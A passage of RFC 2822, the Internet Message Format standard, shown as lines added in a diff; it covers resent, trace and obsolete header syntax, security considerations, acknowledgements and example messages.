SHOULD be + together. Each new set of resent fields is prepended to the message; + that is, the most recent set of resent fields appear earlier in the + message. No other fields in the message are changed when resent + fields are added. + + Each of the resent fields corresponds to a particular field elsewhere + in the syntax. For instance, the "Resent-Date:" field corresponds to + the "Date:" field and the "Resent-To:" field corresponds to the "To:" + field. In each case, the syntax for the field body is identical to + the syntax given previously for the corresponding field. + + When resent fields are used, the "Resent-From:" and "Resent-Date:" + fields MUST be sent. The "Resent-Message-ID:" field SHOULD be sent. + "Resent-Sender:" SHOULD NOT be used if "Resent-Sender:" would be + identical to "Resent-From:". + + + +Resnick Standards Track [Page 26] + +RFC 2822 Internet Message Format April 2001 + + +resent-date = "Resent-Date:" date-time CRLF + +resent-from = "Resent-From:" mailbox-list CRLF + +resent-sender = "Resent-Sender:" mailbox CRLF + +resent-to = "Resent-To:" address-list CRLF + +resent-cc = "Resent-Cc:" address-list CRLF + +resent-bcc = "Resent-Bcc:" (address-list / [CFWS]) CRLF + +resent-msg-id = "Resent-Message-ID:" msg-id CRLF + + Resent fields are used to identify a message as having been + reintroduced into the transport system by a user. The purpose of + using resent fields is to have the message appear to the final + recipient as if it were sent directly by the original sender, with + all of the original fields remaining the same. Each set of resent + fields correspond to a particular resending event. That is, if a + message is resent multiple times, each set of resent fields gives + identifying information for each individual time. Resent fields are + strictly informational. They MUST NOT be used in the normal + processing of replies or other such automatic actions on messages. + + Note: Reintroducing a message into the transport system and using + resent fields is a different operation from "forwarding". + "Forwarding" has two meanings: One sense of forwarding is that a mail + reading program can be told by a user to forward a copy of a message + to another person, making the forwarded message the body of the new + message. A forwarded message in this sense does not appear to have + come from the original sender, but is an entirely new message from + the forwarder of the message. On the other hand, forwarding is also + used to mean when a mail transport program gets a message and + forwards it on to a different destination for final delivery. Resent + header fields are not intended for use with either type of + forwarding. + + The resent originator fields indicate the mailbox of the person(s) or + system(s) that resent the message. As with the regular originator + fields, there are two forms: a simple "Resent-From:" form which + contains the mailbox of the individual doing the resending, and the + more complex form, when one individual (identified in the + "Resent-Sender:" field) resends a message on behalf of one or more + others (identified in the "Resent-From:" field). + + Note: When replying to a resent message, replies behave just as they + would with any other message, using the original "From:", + + + +Resnick Standards Track [Page 27] + +RFC 2822 Internet Message Format April 2001 + + + "Reply-To:", "Message-ID:", and other fields. The resent fields are + only informational and MUST NOT be used in the normal processing of + replies. + + The "Resent-Date:" indicates the date and time at which the resent + message is dispatched by the resender of the message. Like the + "Date:" field, it is not the date and time that the message was + actually transported. + + The "Resent-To:", "Resent-Cc:", and "Resent-Bcc:" fields function + identically to the "To:", "Cc:", and "Bcc:" fields respectively, + except that they indicate the recipients of the resent message, not + the recipients of the original message. + + The "Resent-Message-ID:" field provides a unique identifier for the + resent message. + +3.6.7. Trace fields + + The trace fields are a group of header fields consisting of an + optional "Return-Path:" field, and one or more "Received:" fields. + The "Return-Path:" header field contains a pair of angle brackets + that enclose an optional addr-spec. The "Received:" field contains a + (possibly empty) list of name/value pairs followed by a semicolon and + a date-time specification. The first item of the name/value pair is + defined by item-name, and the second item is either an addr-spec, an + atom, a domain, or a msg-id. Further restrictions may be applied to + the syntax of the trace fields by standards that provide for their + use, such as [RFC2821]. + +trace = [return] + 1*received + +return = "Return-Path:" path CRLF + +path = ([CFWS] "<" ([CFWS] / addr-spec) ">" [CFWS]) / + obs-path + +received = "Received:" name-val-list ";" date-time CRLF + +name-val-list = [CFWS] [name-val-pair *(CFWS name-val-pair)] + +name-val-pair = item-name CFWS item-value + +item-name = ALPHA *(["-"] (ALPHA / DIGIT)) + +item-value = 1*angle-addr / addr-spec / + atom / domain / msg-id + + + +Resnick Standards Track [Page 28] + +RFC 2822 Internet Message Format April 2001 + + + A full discussion of the Internet mail use of trace fields is + contained in [RFC2821]. For the purposes of this standard, the trace + fields are strictly informational, and any formal interpretation of + them is outside of the scope of this document. + +3.6.8. Optional fields + + Fields may appear in messages that are otherwise unspecified in this + standard. They MUST conform to the syntax of an optional-field. + This is a field name, made up of the printable US-ASCII characters + except SP and colon, followed by a colon, followed by any text which + conforms to unstructured. + + The field names of any optional-field MUST NOT be identical to any + field name specified elsewhere in this standard. + +optional-field = field-name ":" unstructured CRLF + +field-name = 1*ftext + +ftext = %d33-57 / ; Any character except + %d59-126 ; controls, SP, and + ; ":". + + For the purposes of this standard, any optional field is + uninterpreted. + +4. Obsolete Syntax + + Earlier versions of this standard allowed for different (usually more + liberal) syntax than is allowed in this version. Also, there have + been syntactic elements used in messages on the Internet whose + interpretation have never been documented. Though some of these + syntactic forms MUST NOT be generated according to the grammar in + section 3, they MUST be accepted and parsed by a conformant receiver. + This section documents many of these syntactic elements. Taking the + grammar in section 3 and adding the definitions presented in this + section will result in the grammar to use for interpretation of + messages. + + Note: This section identifies syntactic forms that any implementation + MUST reasonably interpret. However, there are certainly Internet + messages which do not conform to even the additional syntax given in + this section. The fact that a particular form does not appear in any + section of this document is not justification for computer programs + to crash or for malformed data to be irretrievably lost by any + implementation. To repeat an example, though this document requires + lines in messages to be no longer than 998 characters, silently + + + +Resnick Standards Track [Page 29] + +RFC 2822 Internet Message Format April 2001 + + + discarding the 999th and subsequent characters in a line without + warning would still be bad behavior for an implementation. It is up + to the implementation to deal with messages robustly. + + One important difference between the obsolete (interpreting) and the + current (generating) syntax is that in structured header field bodies + (i.e., between the colon and the CRLF of any structured header + field), white space characters, including folding white space, and + comments can be freely inserted between any syntactic tokens. This + allows many complex forms that have proven difficult for some + implementations to parse. + + Another key difference between the obsolete and the current syntax is + that the rule in section 3.2.3 regarding lines composed entirely of + white space in comments and folding white space does not apply. See + the discussion of folding white space in section 4.2 below. + + Finally, certain characters that were formerly allowed in messages + appear in this section. The NUL character (ASCII value 0) was once + allowed, but is no longer for compatibility reasons. CR and LF were + allowed to appear in messages other than as CRLF; this use is also + shown here. + + Other differences in syntax and semantics are noted in the following + sections. + +4.1. Miscellaneous obsolete tokens + + These syntactic elements are used elsewhere in the obsolete syntax or + in the main syntax. The obs-char and obs-qp elements each add ASCII + value 0. Bare CR and bare LF are added to obs-text and obs-utext. + The period character is added to obs-phrase. The obs-phrase-list + provides for "empty" elements in a comma-separated list of phrases. + + Note: The "period" (or "full stop") character (".") in obs-phrase is + not a form that was allowed in earlier versions of this or any other + standard. Period (nor any other character from specials) was not + allowed in phrase because it introduced a parsing difficulty + distinguishing between phrases and portions of an addr-spec (see + section 4.4). It appears here because the period character is + currently used in many messages in the display-name portion of + addresses, especially for initials in names, and therefore must be + interpreted properly. In the future, period may appear in the + regular syntax of phrase. + +obs-qp = "\" (%d0-127) + +obs-text = *LF *CR *(obs-char *LF *CR) + + + +Resnick Standards Track [Page 30] + +RFC 2822 Internet Message Format April 2001 + + +obs-char = %d0-9 / %d11 / ; %d0-127 except CR and + %d12 / %d14-127 ; LF + +obs-utext = obs-text + +obs-phrase = word *(word / "." / CFWS) + +obs-phrase-list = phrase / 1*([phrase] [CFWS] "," [CFWS]) [phrase] + + Bare CR and bare LF appear in messages with two different meanings. + In many cases, bare CR or bare LF are used improperly instead of CRLF + to indicate line separators. In other cases, bare CR and bare LF are + used simply as ASCII control characters with their traditional ASCII + meanings. + +4.2. Obsolete folding white space + + In the obsolete syntax, any amount of folding white space MAY be + inserted where the obs-FWS rule is allowed. This creates the + possibility of having two consecutive "folds" in a line, and + therefore the possibility that a line which makes up a folded header + field could be composed entirely of white space. + + obs-FWS = 1*WSP *(CRLF 1*WSP) + +4.3. Obsolete Date and Time + + The syntax for the obsolete date format allows a 2 digit year in the + date field and allows for a list of alphabetic time zone + specifications that were used in earlier versions of this standard. + It also permits comments and folding white space between many of the + tokens. + +obs-day-of-week = [CFWS] day-name [CFWS] + +obs-year = [CFWS] 2*DIGIT [CFWS] + +obs-month = CFWS month-name CFWS + +obs-day = [CFWS] 1*2DIGIT [CFWS] + +obs-hour = [CFWS] 2DIGIT [CFWS] + +obs-minute = [CFWS] 2DIGIT [CFWS] + +obs-second = [CFWS] 2DIGIT [CFWS] + +obs-zone = "UT" / "GMT" / ; Universal Time + + + +Resnick Standards Track [Page 31] + +RFC 2822 Internet Message Format April 2001 + + + ; North American UT + ; offsets + "EST" / "EDT" / ; Eastern: - 5/ - 4 + "CST" / "CDT" / ; Central: - 6/ - 5 + "MST" / "MDT" / ; Mountain: - 7/ - 6 + "PST" / "PDT" / ; Pacific: - 8/ - 7 + + %d65-73 / ; Military zones - "A" + %d75-90 / ; through "I" and "K" + %d97-105 / ; through "Z", both + %d107-122 ; upper and lower case + + Where a two or three digit year occurs in a date, the year is to be + interpreted as follows: If a two digit year is encountered whose + value is between 00 and 49, the year is interpreted by adding 2000, + ending up with a value between 2000 and 2049. If a two digit year is + encountered with a value between 50 and 99, or any three digit year + is encountered, the year is interpreted by adding 1900. + + In the obsolete time zone, "UT" and "GMT" are indications of + "Universal Time" and "Greenwich Mean Time" respectively and are both + semantically identical to "+0000". + + The remaining three character zones are the US time zones. The first + letter, "E", "C", "M", or "P" stands for "Eastern", "Central", + "Mountain" and "Pacific". The second letter is either "S" for + "Standard" time, or "D" for "Daylight" (or summer) time. Their + interpretations are as follows: + + EDT is semantically equivalent to -0400 + EST is semantically equivalent to -0500 + CDT is semantically equivalent to -0500 + CST is semantically equivalent to -0600 + MDT is semantically equivalent to -0600 + MST is semantically equivalent to -0700 + PDT is semantically equivalent to -0700 + PST is semantically equivalent to -0800 + + The 1 character military time zones were defined in a non-standard + way in [RFC822] and are therefore unpredictable in their meaning. + The original definitions of the military zones "A" through "I" are + equivalent to "+0100" through "+0900" respectively; "K", "L", and "M" + are equivalent to "+1000", "+1100", and "+1200" respectively; "N" + through "Y" are equivalent to "-0100" through "-1200" respectively; + and "Z" is equivalent to "+0000". However, because of the error in + [RFC822], they SHOULD all be considered equivalent to "-0000" unless + there is out-of-band information confirming their meaning. + + + + +Resnick Standards Track [Page 32] + +RFC 2822 Internet Message Format April 2001 + + + Other multi-character (usually between 3 and 5) alphabetic time zones + have been used in Internet messages. Any such time zone whose + meaning is not known SHOULD be considered equivalent to "-0000" + unless there is out-of-band information confirming their meaning. + +4.4. Obsolete Addressing + + There are three primary differences in addressing. First, mailbox + addresses were allowed to have a route portion before the addr-spec + when enclosed in "<" and ">". The route is simply a comma-separated + list of domain names, each preceded by "@", and the list terminated + by a colon. Second, CFWS were allowed between the period-separated + elements of local-part and domain (i.e., dot-atom was not used). In + addition, local-part is allowed to contain quoted-string in addition + to just atom. Finally, mailbox-list and address-list were allowed to + have "null" members. That is, there could be two or more commas in + such a list with nothing in between them. + +obs-angle-addr = [CFWS] "<" [obs-route] addr-spec ">" [CFWS] + +obs-route = [CFWS] obs-domain-list ":" [CFWS] + +obs-domain-list = "@" domain *(*(CFWS / "," ) [CFWS] "@" domain) + +obs-local-part = word *("." word) + +obs-domain = atom *("." atom) + +obs-mbox-list = 1*([mailbox] [CFWS] "," [CFWS]) [mailbox] + +obs-addr-list = 1*([address] [CFWS] "," [CFWS]) [address] + + When interpreting addresses, the route portion SHOULD be ignored. + +4.5. Obsolete header fields + + Syntactically, the primary difference in the obsolete field syntax is + that it allows multiple occurrences of any of the fields and they may + occur in any order. Also, any amount of white space is allowed + before the ":" at the end of the field name. + +obs-fields = *(obs-return / + obs-received / + obs-orig-date / + obs-from / + obs-sender / + obs-reply-to / + obs-to / + + + +Resnick Standards Track [Page 33] + +RFC 2822 Internet Message Format April 2001 + + + obs-cc / + obs-bcc / + obs-message-id / + obs-in-reply-to / + obs-references / + obs-subject / + obs-comments / + obs-keywords / + obs-resent-date / + obs-resent-from / + obs-resent-send / + obs-resent-rply / + obs-resent-to / + obs-resent-cc / + obs-resent-bcc / + obs-resent-mid / + obs-optional) + + Except for destination address fields (described in section 4.5.3), + the interpretation of multiple occurrences of fields is unspecified. + Also, the interpretation of trace fields and resent fields which do + not occur in blocks prepended to the message is unspecified as well. + Unless otherwise noted in the following sections, interpretation of + other fields is identical to the interpretation of their non-obsolete + counterparts in section 3. + +4.5.1. Obsolete origination date field + +obs-orig-date = "Date" *WSP ":" date-time CRLF + +4.5.2. Obsolete originator fields + +obs-from = "From" *WSP ":" mailbox-list CRLF + +obs-sender = "Sender" *WSP ":" mailbox CRLF + +obs-reply-to = "Reply-To" *WSP ":" mailbox-list CRLF + +4.5.3. Obsolete destination address fields + +obs-to = "To" *WSP ":" address-list CRLF + +obs-cc = "Cc" *WSP ":" address-list CRLF + +obs-bcc = "Bcc" *WSP ":" (address-list / [CFWS]) CRLF + + + + + + +Resnick Standards Track [Page 34] + +RFC 2822 Internet Message Format April 2001 + + + When multiple occurrences of destination address fields occur in a + message, they SHOULD be treated as if the address-list in the first + occurrence of the field is combined with the address lists of the + subsequent occurrences by adding a comma and concatenating. + +4.5.4. Obsolete identification fields + + The obsolete "In-Reply-To:" and "References:" fields differ from the + current syntax in that they allow phrase (words or quoted strings) to + appear. The obsolete forms of the left and right sides of msg-id + allow interspersed CFWS, making them syntactically identical to + local-part and domain respectively. + +obs-message-id = "Message-ID" *WSP ":" msg-id CRLF + +obs-in-reply-to = "In-Reply-To" *WSP ":" *(phrase / msg-id) CRLF + +obs-references = "References" *WSP ":" *(phrase / msg-id) CRLF + +obs-id-left = local-part + +obs-id-right = domain + + For purposes of interpretation, the phrases in the "In-Reply-To:" and + "References:" fields are ignored. + + Semantically, none of the optional CFWS surrounding the local-part + and the domain are part of the obs-id-left and obs-id-right + respectively. + +4.5.5. Obsolete informational fields + +obs-subject = "Subject" *WSP ":" unstructured CRLF + +obs-comments = "Comments" *WSP ":" unstructured CRLF + +obs-keywords = "Keywords" *WSP ":" obs-phrase-list CRLF + +4.5.6. Obsolete resent fields + + The obsolete syntax adds a "Resent-Reply-To:" field, which consists + of the field name, the optional comments and folding white space, the + colon, and a comma separated list of addresses. + +obs-resent-from = "Resent-From" *WSP ":" mailbox-list CRLF + +obs-resent-send = "Resent-Sender" *WSP ":" mailbox CRLF + + + + +Resnick Standards Track [Page 35] + +RFC 2822 Internet Message Format April 2001 + + +obs-resent-date = "Resent-Date" *WSP ":" date-time CRLF + +obs-resent-to = "Resent-To" *WSP ":" address-list CRLF + +obs-resent-cc = "Resent-Cc" *WSP ":" address-list CRLF + +obs-resent-bcc = "Resent-Bcc" *WSP ":" + (address-list / [CFWS]) CRLF + +obs-resent-mid = "Resent-Message-ID" *WSP ":" msg-id CRLF + +obs-resent-rply = "Resent-Reply-To" *WSP ":" address-list CRLF + + As with other resent fields, the "Resent-Reply-To:" field is to be + treated as trace information only. + +4.5.7. Obsolete trace fields + + The obs-return and obs-received are again given here as template + definitions, just as return and received are in section 3. Their + full syntax is given in [RFC2821]. + +obs-return = "Return-Path" *WSP ":" path CRLF + +obs-received = "Received" *WSP ":" name-val-list CRLF + +obs-path = obs-angle-addr + +4.5.8. Obsolete optional fields + +obs-optional = field-name *WSP ":" unstructured CRLF + +5. Security Considerations + + Care needs to be taken when displaying messages on a terminal or + terminal emulator. Powerful terminals may act on escape sequences + and other combinations of ASCII control characters with a variety of + consequences. They can remap the keyboard or permit other + modifications to the terminal which could lead to denial of service + or even damaged data. They can trigger (sometimes programmable) + answerback messages which can allow a message to cause commands to be + issued on the recipient's behalf. They can also effect the operation + of terminal attached devices such as printers. Message viewers may + wish to strip potentially dangerous terminal escape sequences from + the message prior to display. However, other escape sequences appear + in messages for useful purposes (cf. [RFC2045, RFC2046, RFC2047, + RFC2048, RFC2049, ISO2022]) and therefore should not be stripped + indiscriminately. + + + +Resnick Standards Track [Page 36] + +RFC 2822 Internet Message Format April 2001 + + + Transmission of non-text objects in messages raises additional + security issues. These issues are discussed in [RFC2045, RFC2046, + RFC2047, RFC2048, RFC2049]. + + Many implementations use the "Bcc:" (blind carbon copy) field + described in section 3.6.3 to facilitate sending messages to + recipients without revealing the addresses of one or more of the + addressees to the other recipients. Mishandling this use of "Bcc:" + has implications for confidential information that might be revealed, + which could eventually lead to security problems through knowledge of + even the existence of a particular mail address. For example, if + using the first method described in section 3.6.3, where the "Bcc:" + line is removed from the message, blind recipients have no explicit + indication that they have been sent a blind copy, except insofar as + their address does not appear in the message header. Because of + this, one of the blind addressees could potentially send a reply to + all of the shown recipients and accidentally reveal that the message + went to the blind recipient. When the second method from section + 3.6.3 is used, the blind recipient's address appears in the "Bcc:" + field of a separate copy of the message. If the "Bcc:" field sent + contains all of the blind addressees, all of the "Bcc:" recipients + will be seen by each "Bcc:" recipient. Even if a separate message is + sent to each "Bcc:" recipient with only the individual's address, + implementations still need to be careful to process replies to the + message as per section 3.6.3 so as not to accidentally reveal the + blind recipient to other recipients. + +6. Bibliography + + [ASCII] American National Standards Institute (ANSI), Coded + Character Set - 7-Bit American National Standard Code for + Information Interchange, ANSI X3.4, 1986. + + [ISO2022] International Organization for Standardization (ISO), + Information processing - ISO 7-bit and 8-bit coded + character sets - Code extension techniques, Third edition + - 1986-05-01, ISO 2022, 1986. + + [RFC822] Crocker, D., "Standard for the Format of ARPA Internet + Text Messages", RFC 822, August 1982. + + [RFC2045] Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part One: Format of Internet Message + Bodies", RFC 2045, November 1996. + + [RFC2046] Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Two: Media Types", RFC 2046, + November 1996. + + + +Resnick Standards Track [Page 37] + +RFC 2822 Internet Message Format April 2001 + + + [RFC2047] Moore, K., "Multipurpose Internet Mail Extensions (MIME) + Part Three: Message Header Extensions for Non-ASCII Text", + RFC 2047, November 1996. + + [RFC2048] Freed, N., Klensin, J. and J. Postel, "Multipurpose + Internet Mail Extensions (MIME) Part Four: Format of + Internet Message Bodies", RFC 2048, November 1996. + + [RFC2049] Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Five: Conformance Criteria and + Examples", RFC 2049, November 1996. + + [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [RFC2234] Crocker, D., Editor, and P. Overell, "Augmented BNF for + Syntax Specifications: ABNF", RFC 2234, November 1997. + + [RFC2821] Klensin, J., Editor, "Simple Mail Transfer Protocol", RFC + 2821, March 2001. + + [STD3] Braden, R., "Host Requirements", STD 3, RFC 1122 and RFC + 1123, October 1989. + + [STD12] Mills, D., "Network Time Protocol", STD 12, RFC 1119, + September 1989. + + [STD13] Mockapetris, P., "Domain Name System", STD 13, RFC 1034 + and RFC 1035, November 1987. + + [STD14] Partridge, C., "Mail Routing and the Domain System", STD + 14, RFC 974, January 1986. + +7. Editor's Address + + Peter W. Resnick + QUALCOMM Incorporated + 5775 Morehouse Drive + San Diego, CA 92121-1714 + USA + + Phone: +1 858 651 4478 + Fax: +1 858 651 1102 + EMail: presnick@qualcomm.com + + + + + + + +Resnick Standards Track [Page 38] + +RFC 2822 Internet Message Format April 2001 + + +8. Acknowledgements + + Many people contributed to this document. They included folks who + participated in the Detailed Revision and Update of Messaging + Standards (DRUMS) Working Group of the Internet Engineering Task + Force (IETF), the chair of DRUMS, the Area Directors of the IETF, and + people who simply sent their comments in via e-mail. The editor is + deeply indebted to them all and thanks them sincerely. The below + list includes everyone who sent e-mail concerning this document. + Hopefully, everyone who contributed is named here: + + Matti Aarnio Barry Finkel Larry Masinter + Tanaka Akira Erik Forsberg Denis McKeon + Russ Allbery Chuck Foster William P McQuillan + Eric Allman Paul Fox Alexey Melnikov + Harald Tveit Alvestrand Klaus M. Frank Perry E. Metzger + Ran Atkinson Ned Freed Steven Miller + Jos Backus Jochen Friedrich Keith Moore + Bruce Balden Randall C. Gellens John Gardiner Myers + Dave Barr Sukvinder Singh Gill Chris Newman + Alan Barrett Tim Goodwin John W. Noerenberg + John Beck Philip Guenther Eric Norman + J. Robert von Behren Tony Hansen Mike O'Dell + Jos den Bekker John Hawkinson Larry Osterman + D. J. Bernstein Philip Hazel Paul Overell + James Berriman Kai Henningsen Jacob Palme + Norbert Bollow Robert Herriot Michael A. Patton + Raj Bose Paul Hethmon Uzi Paz + Antony Bowesman Jim Hill Michael A. Quinlan + Scott Bradner Paul E. Hoffman Eric S. Raymond + Randy Bush Steve Hole Sam Roberts + Tom Byrer Kari Hurtta Hugh Sasse + Bruce Campbell Marco S. Hyman Bart Schaefer + Larry Campbell Ofer Inbar Tom Scola + W. J. Carpenter Olle Jarnefors Wolfgang Segmuller + Michael Chapman Kevin Johnson Nick Shelness + Richard Clayton Sudish Joseph John Stanley + Maurizio Codogno Maynard Kang Einar Stefferud + Jim Conklin Prabhat Keni Jeff Stephenson + R. Kelley Cook John C. Klensin Bernard Stern + Steve Coya Graham Klyne Peter Sylvester + Mark Crispin Brad Knowles Mark Symons + Dave Crocker Shuhei Kobayashi Eric Thomas + Matt Curtin Peter Koch Lee Thompson + Michael D'Errico Dan Kohn Karel De Vriendt + Cyrus Daboo Christian Kuhtz Matthew Wall + Jutta Degener Anand Kumria Rolf Weber + Mark Delany Steen Larsen Brent B. Welch + + + +Resnick Standards Track [Page 39] + +RFC 2822 Internet Message Format April 2001 + + + Steve Dorner Eliot Lear Dan Wing + Harold A. Driscoll Barry Leiba Jack De Winter + Michael Elkins Jay Levitt Gregory J. Woodhouse + Robert Elz Lars-Johan Liman Greg A. Woods + Johnny Eriksson Charles Lindsey Kazu Yamamoto + Erik E. Fair Pete Loshin Alain Zahm + Roger Fajman Simon Lyall Jamie Zawinski + Patrik Faltstrom Bill Manning Timothy S. Zurcher + Claus Andre Farber John Martin + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Resnick Standards Track [Page 40] + +RFC 2822 Internet Message Format April 2001 + + +Appendix A. Example messages + + This section presents a selection of messages. These are intended to + assist in the implementation of this standard, but should not be + taken as normative; that is to say, although the examples in this + section were carefully reviewed, if there happens to be a conflict + between these examples and the syntax described in sections 3 and 4 + of this document, the syntax in those sections is to be taken as + correct. + + Messages are delimited in this section between lines of "----". The + "----" lines are not part of the message itself. + +A.1. Addressing examples + + The following are examples of messages that might be sent between two + individuals. + +A.1.1. A message from one person to another with simple addressing + + This could be called a canonical message. It has a single author, + John Doe, a single recipient, Mary Smith, a subject, the date, a + message identifier, and a textual message in the body. + +---- +From: John Doe +To: Mary Smith +Subject: Saying Hello +Date: Fri, 21 Nov 1997 09:55:06 -0600 +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + + + + + + + + + + + + + + + + + +Resnick Standards Track [Page 41] + +RFC 2822 Internet Message Format April 2001 + + + If John's secretary Michael actually sent the message, though John + was the author and replies to this message should go back to him, the + sender field would be used: + +---- +From: John Doe +Sender: Michael Jones +To: Mary Smith +Subject: Saying Hello +Date: Fri, 21 Nov 1997 09:55:06 -0600 +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + +A.1.2. Different types of mailboxes + + This message includes multiple addresses in the destination fields + and also uses several different forms of addresses. + +---- +From: "Joe Q. Public" +To: Mary Smith , jdoe@example.org, Who? +Cc: , "Giant; \"Big\" Box" +Date: Tue, 1 Jul 2003 10:52:37 +0200 +Message-ID: <5678.21-Nov-1997@example.com> + +Hi everyone. +---- + + Note that the display names for Joe Q. Public and Giant; "Big" Box + needed to be enclosed in double-quotes because the former contains + the period and the latter contains both semicolon and double-quote + characters (the double-quote characters appearing as quoted-pair + construct). Conversely, the display name for Who? could appear + without them because the question mark is legal in an atom. Notice + also that jdoe@example.org and boss@nil.test have no display names + associated with them at all, and jdoe@example.org uses the simpler + address form without the angle brackets. + + + + + + + + + + + +Resnick Standards Track [Page 42] + +RFC 2822 Internet Message Format April 2001 + + +A.1.3. Group addresses + +---- +From: Pete +To: A Group:Chris Jones ,joe@where.test,John ; +Cc: Undisclosed recipients:; +Date: Thu, 13 Feb 1969 23:32:54 -0330 +Message-ID: + +Testing. +---- + + In this message, the "To:" field has a single group recipient named A + Group which contains 3 addresses, and a "Cc:" field with an empty + group recipient named Undisclosed recipients. + +A.2. Reply messages + + The following is a series of three messages that make up a + conversation thread between John and Mary. John firsts sends a + message to Mary, Mary then replies to John's message, and then John + replies to Mary's reply message. + + Note especially the "Message-ID:", "References:", and "In-Reply-To:" + fields in each message. + +---- +From: John Doe +To: Mary Smith +Subject: Saying Hello +Date: Fri, 21 Nov 1997 09:55:06 -0600 +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + + + + + + + + + + + + + + + +Resnick Standards Track [Page 43] + +RFC 2822 Internet Message Format April 2001 + + + When sending replies, the Subject field is often retained, though + prepended with "Re: " as described in section 3.6.5. + +---- +From: Mary Smith +To: John Doe +Reply-To: "Mary Smith: Personal Account" +Subject: Re: Saying Hello +Date: Fri, 21 Nov 1997 10:01:10 -0600 +Message-ID: <3456@example.net> +In-Reply-To: <1234@local.machine.example> +References: <1234@local.machine.example> + +This is a reply to your hello. +---- + + Note the "Reply-To:" field in the above message. When John replies + to Mary's message above, the reply should go to the address in the + "Reply-To:" field instead of the address in the "From:" field. + +---- +To: "Mary Smith: Personal Account" +From: John Doe +Subject: Re: Saying Hello +Date: Fri, 21 Nov 1997 11:00:00 -0600 +Message-ID: +In-Reply-To: <3456@example.net> +References: <1234@local.machine.example> <3456@example.net> + +This is a reply to your reply. +---- + +A.3. Resent messages + + Start with the message that has been used as an example several + times: + +---- +From: John Doe +To: Mary Smith +Subject: Saying Hello +Date: Fri, 21 Nov 1997 09:55:06 -0600 +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + + + + +Resnick Standards Track [Page 44] + +RFC 2822 Internet Message Format April 2001 + + + Say that Mary, upon receiving this message, wishes to send a copy of + the message to Jane such that (a) the message would appear to have + come straight from John; (b) if Jane replies to the message, the + reply should go back to John; and (c) all of the original + information, like the date the message was originally sent to Mary, + the message identifier, and the original addressee, is preserved. In + this case, resent fields are prepended to the message: + +---- +Resent-From: Mary Smith +Resent-To: Jane Brown +Resent-Date: Mon, 24 Nov 1997 14:22:01 -0800 +Resent-Message-ID: <78910@example.net> +From: John Doe +To: Mary Smith +Subject: Saying Hello +Date: Fri, 21 Nov 1997 09:55:06 -0600 +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + + If Jane, in turn, wished to resend this message to another person, + she would prepend her own set of resent header fields to the above + and send that. + + + + + + + + + + + + + + + + + + + + + + + + + +Resnick Standards Track [Page 45] + +RFC 2822 Internet Message Format April 2001 + + +A.4. Messages with trace fields + + As messages are sent through the transport system as described in + [RFC2821], trace fields are prepended to the message. The following + is an example of what those trace fields might look like. Note that + there is some folding white space in the first one since these lines + can be long. + +---- +Received: from x.y.test + by example.net + via TCP + with ESMTP + id ABC12345 + for ; 21 Nov 1997 10:05:43 -0600 +Received: from machine.example by x.y.test; 21 Nov 1997 10:01:22 -0600 +From: John Doe +To: Mary Smith +Subject: Saying Hello +Date: Fri, 21 Nov 1997 09:55:06 -0600 +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + + + + + + + + + + + + + + + + + + + + + + + + + + +Resnick Standards Track [Page 46] + +RFC 2822 Internet Message Format April 2001 + + +A.5. White space, comments, and other oddities + + White space, including folding white space, and comments can be + inserted between many of the tokens of fields. Taking the example + from A.1.3, white space and comments can be inserted into all of the + fields. + +---- +From: Pete(A wonderful \) chap) +To:A Group(Some people) + :Chris Jones , + joe@example.org, + John (my dear friend); (the end of the group) +Cc:(Empty list)(start)Undisclosed recipients :(nobody(that I know)) ; +Date: Thu, + 13 + Feb + 1969 + 23:32 + -0330 (Newfoundland Time) +Message-ID: + +Testing. +---- + + The above example is aesthetically displeasing, but perfectly legal. + Note particularly (1) the comments in the "From:" field (including + one that has a ")" character appearing as part of a quoted-pair); (2) + the white space absent after the ":" in the "To:" field as well as + the comment and folding white space after the group name, the special + character (".") in the comment in Chris Jones's address, and the + folding white space before and after "joe@example.org,"; (3) the + multiple and nested comments in the "Cc:" field as well as the + comment immediately following the ":" after "Cc"; (4) the folding + white space (but no comments except at the end) and the missing + seconds in the time of the date field; and (5) the white space before + (but not within) the identifier in the "Message-ID:" field. + +A.6. Obsoleted forms + + The following are examples of obsolete (that is, the "MUST NOT + generate") syntactic elements described in section 4 of this + document. + + + + + + + + +Resnick Standards Track [Page 47] + +RFC 2822 Internet Message Format April 2001 + + +A.6.1. Obsolete addressing + + Note in the below example the lack of quotes around Joe Q. Public, + the route that appears in the address for Mary Smith, the two commas + that appear in the "To:" field, and the spaces that appear around the + "." in the jdoe address. + +---- +From: Joe Q. Public +To: Mary Smith <@machine.tld:mary@example.net>, , jdoe@test . example +Date: Tue, 1 Jul 2003 10:52:37 +0200 +Message-ID: <5678.21-Nov-1997@example.com> + +Hi everyone. +---- + +A.6.2. Obsolete dates + + The following message uses an obsolete date format, including a non- + numeric time zone and a two digit year. Note that although the + day-of-week is missing, that is not specific to the obsolete syntax; + it is optional in the current syntax as well. + +---- +From: John Doe +To: Mary Smith +Subject: Saying Hello +Date: 21 Nov 97 09:55:06 GMT +Message-ID: <1234@local.machine.example> + +This is a message just to say hello. +So, "Hello". +---- + +A.6.3. Obsolete white space and comments + + White space and comments can appear between many more elements than + in the current syntax. Also, folding lines that are made up entirely + of white space are legal. + + + + + + + + + + + + +Resnick Standards Track [Page 48] + +RFC 2822 Internet Message Format April 2001 + + +---- +From : John Doe +To : Mary Smith +__ + +Subject : Saying Hello +Date : Fri, 21 Nov 1997 09(comment): 55 : 06 -0600 +Message-ID : <1234 @ local(blah) .machine .example> + +This is a message just to say hello. +So, "Hello". +---- + + Note especially the second line of the "To:" field. It starts with + two space characters. (Note that "__" represent blank spaces.) + Therefore, it is considered part of the folding as described in + section 4.2. Also, the comments and white space throughout + addresses, dates, and message identifiers are all part of the + obsolete syntax. + +Appendix B. Differences from earlier standards + 